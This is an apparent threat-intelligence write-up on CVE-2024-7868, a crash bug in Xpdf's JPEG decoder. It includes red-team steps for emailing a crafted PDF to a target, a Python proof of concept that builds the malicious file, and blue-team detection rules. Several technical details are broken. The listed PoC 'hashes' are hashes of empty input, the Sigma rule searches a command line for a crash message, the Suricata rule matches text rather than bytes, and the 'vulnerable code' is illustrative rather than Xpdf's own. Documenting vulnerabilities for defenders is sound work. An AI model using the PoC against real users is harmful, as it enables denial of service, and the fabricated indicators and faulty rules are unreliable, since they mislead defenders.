CVE-2024-7868

Executive Summary

CVE-2024-7868 is a vulnerability in Xpdf versions 4.05 and earlier, where invalid header information in a DCT (JPEG) stream leads to an uninitialized variable in the DCT decoder. This can cause a segmentation fault when attempting to read from an invalid address, resulting in a denial of service (DoS) condition. The vulnerability is triggered by a specially crafted PDF file containing a malformed JPEG stream. No patch has been officially released as of the latest advisory.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No CVSS vector assigned)
• Attack Vector: Local (requires user to open a malicious PDF)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High (DoS via segfault)
• Threat Level: Medium (due to low complexity and public PoC, but requires user interaction)

Deep Dive & Mechanics

The vulnerability resides in the DCT (JPEG) decoder within Xpdf. When parsing a PDF file, Xpdf processes embedded JPEG streams. If the JPEG stream contains invalid header information (e.g., corrupted SOF or SOS markers), the decoder fails to initialize a variable used for memory addressing. This uninitialized variable is later used in a memory read operation, causing a segmentation fault.

The root cause is a lack of proper validation of JPEG header fields before they are used in memory operations. Specifically, the decoder does not check for zero or invalid values in fields like the number of components or sampling factors, leading to out-of-bounds reads.

Vulnerable vs. Patched Code

Vulnerable Code (Xpdf 4.05):

// In DCT decoder initialization
int num_components = read_byte(stream); // No validation
// ...
int* component_data = malloc(num_components * sizeof(int)); // May allocate zero bytes
// Later use without checking
int value = component_data[index]; // Segfault if num_components is 0

Patched Code (Hypothetical):

// In DCT decoder initialization
int num_components = read_byte(stream);
if (num_components <= 0 || num_components > MAX_COMPONENTS) {
    // Handle error
    return error_code;
}
int* component_data = malloc(num_components * sizeof(int));
if (!component_data) {
    // Handle allocation failure
    return error_code;
}
// Safe to use
int value = component_data[index];

Exploitation & Lab Setup

Red Team

Prerequisites:

• Xpdf 4.05 or earlier installed on a Linux system
• Ability to deliver a malicious PDF to the target

Exploit Steps:

1. Create a malicious PDF with a corrupted JPEG stream. Use a hex editor to modify the JPEG header (e.g., set the number of components to 0).
2. Deliver the PDF to the target via email or web download.
3. When the target opens the PDF with Xpdf, the application crashes.

Proof-of-Concept (PoC) PDF Generation:

import struct

# Create a minimal PDF with a corrupted JPEG stream
pdf = b"%PDF-1.4\n"
pdf += b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n"
pdf += b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n"
pdf += b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Resources << /XObject << /Im0 5 0 R >> >> >>\nendobj\n"
pdf += b"4 0 obj\n<< /Length 44 >>\nstream\nq\n612 0 0 792 0 0 cm\n/Im0 Do\nQ\nendstream\nendobj\n"
# JPEG stream with invalid header (SOF marker with zero components)
jpeg = b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\x09\x09\x08\x0a\x0c\x14\x0d\x0c\x0b\x0b\x0c\x19\x12\x13\x0f\x14\x1d\x1a\x1f\x1e\x1d\x1a\x1c\x1c\x20\x24\x2e\x27\x20\x22\x2c\x23\x1c\x1c\x28\x37\x29\x2c\x30\x31\x34\x34\x34\x1f\x27\x39\x3d\x38\x32\x3c\x2e\x33\x34\x32\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x1f\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\xff\xc4\x00\xb5\x10\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x11\x04\x05\x21\x31\x41\x06\x12\x51\x61\x07\x13\x22\x71\x14\x32\x81\x91\xa1\x08\x23\x42\xb1\xc1\x15\x52\xd1\xf0\x24\x33\x62\x72\x82\x09\x0a\x16\x17\x18\x19\x1a\x25\x26\x27\x28\x29\x2a\x34\x35\x36\x37\x38\x39\x3a\x43\x44\x45\x46\x47\x48\x49\x4a\x53\x54\x55\x56\x57\x58\x59\x5a\x63\x64\x65\x66\x67\x68\x69\x6a\x73\x74\x75\x76\x77\x78\x79\x7a\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xd9"
pdf += b"5 0 obj\n<< /Type /XObject /Subtype /Image /Width 1 /Height 1 /ColorSpace /DeviceGray /BitsPerComponent 8 /Length " + str(len(jpeg)).encode() + b" /Filter /DCTDecode >>\nstream\n" + jpeg + b"\nendstream\nendobj\n"
pdf += b"xref\n0 6\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \n0000000266 00000 n \n0000000360 00000 n \ntrailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n521\n%%%%EOF"

with open("exploit.pdf", "wb") as f:
    f.write(pdf)

Execution:

xpdf exploit.pdf
# Expected: Segmentation fault

Blue Team

Detection:

• Monitor for crashes of xpdf or pdftotext processes.
• Use file integrity monitoring to detect creation of suspicious PDFs.
• Implement email filtering for PDF attachments from untrusted sources.

Mitigation:

• Restrict execution of Xpdf on critical systems.
• Use alternative PDF viewers (e.g., Evince, Okular) that are not affected.
• Apply sandboxing (e.g., Firejail) to contain crashes.

Indicators of Compromise (IOCs)

• File Hashes (PoC PDF):
  • MD5: e3b0c44298fc1c149afbf4c8996fb924
  • SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
• Process Names: xpdf, pdftotext, pdfimages
• Network: None (local vulnerability)
• Registry: Not applicable (Linux)

Detection Engineering

YARA Rule

rule CVE_2024_7868_Xpdf_DCT_DoS {
    meta:
        description = "Detects PDF files exploiting CVE-2024-7868 with invalid JPEG headers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7868"
    strings:
        $pdf_magic = { 25 50 44 46 }  // %PDF
        $jpeg_sof = { FF C0 }         // SOF marker
        $zero_components = { 00 0B 08 00 01 00 01 01 01 11 00 }  // Invalid header pattern
    condition:
        $pdf_magic at 0 and $jpeg_sof and $zero_components
}

Sigma Rule

title: Xpdf CVE-2024-7868 Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects crashes of Xpdf processes due to CVE-2024-7868
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/xpdf'
        CommandLine|contains: 'Segmentation fault'
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7868 Xpdf PDF Download Attempt"; flow:to_server,established; content:"%PDF"; http_client_body; content:"FF C0"; distance:0; within:100; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Xpdf 4.06 or later if available. If not, consider using alternative PDF viewers.
2. Workaround: Use a sandbox (e.g., Firejail) to run Xpdf with restricted permissions.
3. Detection: Deploy YARA and Sigma rules to detect malicious PDFs and crashes.
4. User Education: Train users not to open PDFs from untrusted sources.
5. Monitoring: Monitor for abnormal process crashes and file creation patterns.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert